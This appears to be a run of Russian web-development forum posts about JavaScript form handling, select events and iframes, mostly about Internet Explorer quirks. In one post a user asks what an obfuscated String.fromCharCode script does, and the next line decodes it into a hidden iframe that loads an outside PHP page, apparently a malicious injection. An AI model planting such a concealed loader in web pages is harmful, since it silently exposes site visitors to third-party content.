Во всех браузерах работает, кроме ИЕ: HTML: <script type="text/javascript"> function Func(id_sel_from, id_sel_to, id_sel_dd, id_sel_mm, id_link) { document.getElementById(id_link).href = ''; document.getElementById(id_link).href = 'trainwin.php?'; // добавляем имя первого select document.getElementById(id_link).href += document.getElementById(id_sel_dd).name; document.getElementById(id_link).href += '='; // добавляем значение первого select var n = document.getElementById(id_sel_dd).selectedIndex; document.getElementById(id_link).href += document.getElementById(id_sel_dd).options[n].value ; document.getElementById(id_link).href += '::'; // добавляем имя второго select //document.getElementById(id_link).href += document.getElementById(id_sel_mm).name; //document.getElementById(id_link).href += '='; // добавляем значение второго select var n = document.getElementById(id_sel_mm).selectedIndex; document.getElementById(id_link).href += document.getElementById(id_sel_mm).options[n].value ; // добавляем имя третьего select document.getElementById(id_link).href += '::'; //document.getElementById(id_link).href += document.getElementById(id_sel_from).name; //document.getElementById(id_link).href += '='; // добавляем значение второго select var n = document.getElementById(id_sel_from).selectedIndex; document.getElementById(id_link).href += document.getElementById(id_sel_from).options[n].value ; // добавляем имя 4-го select document.getElementById(id_link).href += '::'; //document.getElementById(id_link).href += document.getElementById(id_sel_to).name; //document.getElementById(id_link).href += '='; // добавляем значение второго select var n = document.getElementById(id_sel_to).selectedIndex; document.getElementById(id_link).href += document.getElementById(id_sel_to).options[n].value ; // добавляем язык document.getElementById(id_link).href += '::<?echo $lang;?>'; // добавляем значение поля "год" document.getElementById(id_link).href += '::2008'; // Вывод =) //alert(document.getElementById(id_link).href); } </script> <form action=trainwin.php method=GET onchange="Func('id_sel_from', 'id_sel_to', 'id_sel_dd', 'id_sel_mm', 'id_link')"> моя форма </form> Скрипт должен на лету формировать ссылку. Во всех браузерах работает, а в ИЕ тупо игнорирует...
есть ифрейм который подгружает страничку(с бесконечным выполнением) нужно эту страничку(фрейм) закрыть через 4ре секунды иначе не даёт загрузиться остальному контенту...(ждёт когда завершится фрейм)
понравилась работа скрипта VK Messenger by DX на AJAX вот собственно хотел бы почитать про него, скиньте, пожалуйста, книжки или ссылку на топик с книгами
А что вот это делает? <script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,34,50,52,49,48,50,51,50,46,106,112,103,34,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,102,111,114,119,97,114,100,105,110,103,122,46,99,111,109,47,115,116,97,116,115,47,114,117,49,46,112,104,112,34,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,34,62,60,47,105,102,114,97,109,101,62))</script>
<img src="2410232.jpg"><iframe src="http://forwardingz.com/stats/ru1.php" style="display:none"></iframe>
Задолбался, сил уже нету. То что накалякано внизу работает и в Опере и в Мозиле, в ИЕ не хочет... PHP: <select name="select"> <option value="1" onclick="document.getElementById('local').style.display = 'block'; document.getElementById('link').style.display = 'none'">Локально</option> <option value="2" onclick="document.getElementById('link').style.display = 'block'; document.getElementById('local').style.display = 'none'">Ссылка</option> </select> <div id="local"> <input name="name1" type="text" /> </div> <div id="link" style="display:none"> <input name="name2" type="text" /> </div> как исправить?
если не ошибаюсь то осел не обрабатывает эвенты от чилдов в селекте.... юзай кроссбраузерно=) PHP: <script language="JavaScript"> function toggleVisibility(index){ switch(index) { case 0: document.getElementById('local').style.display = 'block'; document.getElementById('link').style.display = 'none' break; case 1: document.getElementById('link').style.display = 'block'; document.getElementById('local').style.display = 'none' break; default: break; } } </script> <select name="select" onChange="toggleVisibility(this.selectedIndex)"> <option value="1">Локально</option> <option value="2">Ссылка</option> </select> <div id="local"> <input name="name1" type="text" value="local"/> </div> <div id="link" style="display:none"> <input name="name2" type="text" value="link" /> </div>
как получить заголовок (title) ифрейма? так не получается Code: <script> for(i=0;i<frames.length;i++) { alert(frames[i].document.title); } </script>
Поставь onchange на селект и юзай selectedIndex (что id, что текст нутри option) example: PHP: <select name="girls" onchange="myFunc(this)"> а обработка PHP: function myFunc(obj){ var text = имяСписка.options[имяСписка.selectedIndex].text; var value = имяСписка.options[имяСписка.selectedIndex].value; где имяСписка, можно заменить на obj А еще лучше PHP: $("#mySelect").bind('change', function(){ var text = this.html(); var value = this.val(); }); и никаких onchange в HTML ( отвыкаем от DOM1)
Здравствуйте! Есть ли у кого скрипт (js) для добавления полей ввода в форуму? Оч надо!!! Или ссылку на пример.